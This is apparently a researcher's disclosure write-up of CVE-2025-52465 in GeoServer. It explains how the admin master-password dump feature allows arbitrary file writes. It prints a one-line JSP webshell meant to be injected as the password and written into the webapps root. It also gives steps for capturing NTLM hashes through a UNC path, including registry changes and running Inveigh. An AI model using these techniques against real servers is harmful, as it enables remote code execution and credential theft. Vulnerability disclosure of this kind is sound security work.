GeoLocate CVE-2025-52465 - GeoServer exploitation

If you listen to patients carefully enough, they will tell you the diagnosis


Credits: - partywave: Additional Reporter - YacineF: Reporter - sikeoka: Remediation - jodygarnett: Remediation In collaboration with Raptx team.
Reference links:
- Latest stable release and source code - github advisory

Overview

GeoServer is an open source software server written in Java that allows users to share and edit geospatial data. Designed for interoperability, it publishes data from any major spatial data source using open standards. TODO ADD MORE GeoServerSecurityManager.java source code file in java/org/geoserver/security package uses writeMasterPasswordInfo() function to track the arbitrary plaintext password dump to a file without any check on the content. This code is available in geoserver-main/geoserver-main/src/main/src/main/ folder. Then dumpMasterPassword() function from MasterPasswordInfoPage.java is being used to save the file. This unsafe behavior leads to at least two serious impacts. In particular any user with "ADMIN" privilege is able to perform malicious actions. Citing the OLD documentation: "The Master password is used to authenticate the root account and protect the access to the keystore. [...] If you forgot the master password, you can ask GeoServer to write it down in plain text to a file of your choice. [...] Provide a path complete filename into the File name text field and press the Dump to file button" So, before analyzing the code, let's summarize the conditions for exploiting the weakness in the code. So far, the user must be: - admin - have access to the target Later on, we will see that the second impact is only possible against Windows targets with additional conditions. Obviously we have to start geoserver first! By default the instance will spawn on your local machine at port 8181 at /geoserver endpoint if you are repeating my steps. If you are unsure about your geoserver instance and its version look at the first log lines. They reveal jetty version, geoserver commit and much more to understand if you are vulnerable.
2025-12-18 09:41:27.705:INFO::main: Logging initialized @555ms to org.eclipse.jetty.util.log.StdErrLog
2025-12-18 09:41:28.102:INFO:oejs.Server:main: jetty-9.4.57.v20241219; built: 2025-01-08T21:24:30.412Z; git: df524e6b29271c2e09ba9aea83c18dc9db464a31; jvm 17.0.12+8-LTS-286
2025-12-18 09:41:28.129:INFO:oejdp.ScanningAppProvider:main: Deployment monitor [file:///C:/Program%20Files/GeoServer/webapps/] at interval 1
2025-12-18 09:41:29.757:INFO:oejw.StandardDescriptorProcessor:main: NO JSP Support for /geoserver, did not find org.eclipse.jetty.jsp.JettyJspServlet
...
In addition if you are going to look at the HTTP requests logs you have to look for the following POST request at /geoserver/web/wicket/page endpoint:
POST /geoserver/web/wicket/page?9-1.-form HTTP/1.1
Host: 127.0.0.1:8181
....
Content-Type: application/x-www-form-urlencoded
Content-Length: 66
....
Cookie: JSESSIONID=[REDACTED]
....

save=x&fileName=[PAYLOAD]

Image 12 from GeoLocate CVE-2025-52465 - GeoServer exploitation

Code Coordinate

Now we have to inspect the code. We see few instance from the functions to dump the password and the one that track and log the flow. Let's look at writeMasterPasswordInfo function:
void writeMasterPasswordInfo(Resource file, String message, char[] masterPasswordArray) throws IOException {
        try (BufferedWriter w = new BufferedWriter(new OutputStreamWriter(file.out()))) { ......
        ......
        w.write("This file was created at " + dateFormat.format(new Date()));
And at dumpMasterPassword from MasterPasswordInfoPage.java:
boolean dumpMasterPassword() throws IOException {
        return getSecurityManager().dumpMasterPassword(Files.asResource(new File(fileName)));
    }
}
that invokes dumpMasterPassword from GeoServerSecurityManager.java which use writeMasterPasswordInfo to log:
public boolean dumpMasterPassword(Resource file) throws IOException {
....
        String message = "The current master password is: ";
        writeMasterPasswordInfo(file, message, getMasterPassword());
        return true;
We see a classic combo to handle output into a file but the file is managed by a Resource object. This time the file is Resource.java from package org.geoserver.platform.resource available at geoserver-main\geoserver-main\src\platform\src\main\java\org\geoserver\platform\resource\. This essentially manage and later implements file logic. What the attacker pass into the dump master password feature must be a file with a valid path. This is the next condition to execute the attack.
public interface Resource {
    /** Enumeration indicating kind of resource used. */
    public enum Type {
        /**
         * Resource directory (contents available using {@link Resource#list()}).
         *
         * @see File#isDirectory()
         */
        DIRECTORY,
        /**
         * Resource used for content. Content access available through {@link Resource#in()} and {@link Resource#out()}.
         */
        RESOURCE,....
Java handles files path using Path library from java.io - the OS is trasparent and the path and differences between different operative systems are handled by Java. For example the path separator, or meta folder and links and so on. Because of the Java stack, Tomcat and Jetty the project run and can interpret .jsp files. A JSP file is a JavaServer Pages file - in simple terms is Java+HTML and it's used a server-side to generate HTML dynamically in Java web applications. This means it can be abused to execute Java code. Now remember that the password is stored in reversible encryption and dumped in plaintext in a specified path. The attacker can write a jsp webshell using the master password. By default, GeoServer does not impose a maximum password length, which permits an administrator to inject malicious code into a password. This data may subsequently be written to a JSP file, leading to potential code execution. Using the TOMCAT directory in webapps root drop your jsp file using the provided web input form.
<pre><%Runtime.getRuntime().exec(request.getParameter("pwave"));%></pre>

Image 24 from GeoLocate CVE-2025-52465 - GeoServer exploitation

Another location, Windows

This is the part where i did the most. Of course what i wrote above it was confirmed by mantainers but the most new things for me was this one, and it's what i showed more in depth. In this case, the incorrect assumption is made that the file is always written to disk, but this is not always true. There are special cases such as UNC paths: \\\\[ip]\\[share]\\[file] Note: the attack works on Microsoft Windows - because File pathnames are parsed according to the OS conventions. In this example another admin user: seconduser was created to test the vulnerability. A secondary admin (or any user with rights on that dump call) doesn't know the original master password so is not able to change it via /web module, but he is able to steal it. The steps to recreate that part from scratch are: - create a folder, share it via SMB (right click, property share) - check your LSA registry, in particular LmCompatibilityLevel. This value change the security of the NTLM, Windows has different value by default based on version. You can even enable it.
Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa"
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "LmCompatibilityLevel" -Value [N]
- Download inveigh and run it to monitor the traffic and log the hash:
.\Inveigh-net4.6.2-v2.0.11> .\Inveigh.exe
- send the file to your shared folder using the UNC path. Inveigh will log the hash and print it. This issue allows an attacker to capture authentication material that can be subjected to offline hash cracking, potentially enabling compromise of credentials used by the GeoServer machine. In addition, NTLMv2 authentication data can be relayed to other systems in environments where protections such as message signing are not enforced, allowing an attacker to impersonate the GeoServer machine when interacting with additional targets. This happens because when Windows accesses a remote SMB share, it will automatically attempt to authenticate using the machine's credentials. They are NTLM hash v1 or v2 - NETNTLM. So when the application runs on Windows, the OS transparently converts a "file write" operation into a network authentication event.

Image 31 from GeoLocate CVE-2025-52465 - GeoServer exploitation

Image 32 from GeoLocate CVE-2025-52465 - GeoServer exploitation

Image 33 from GeoLocate CVE-2025-52465 - GeoServer exploitation

The end

This is the short version and explanation of CVE-2025-52465 and 2 of the possible impacts. You can read more of my research at:
- other researches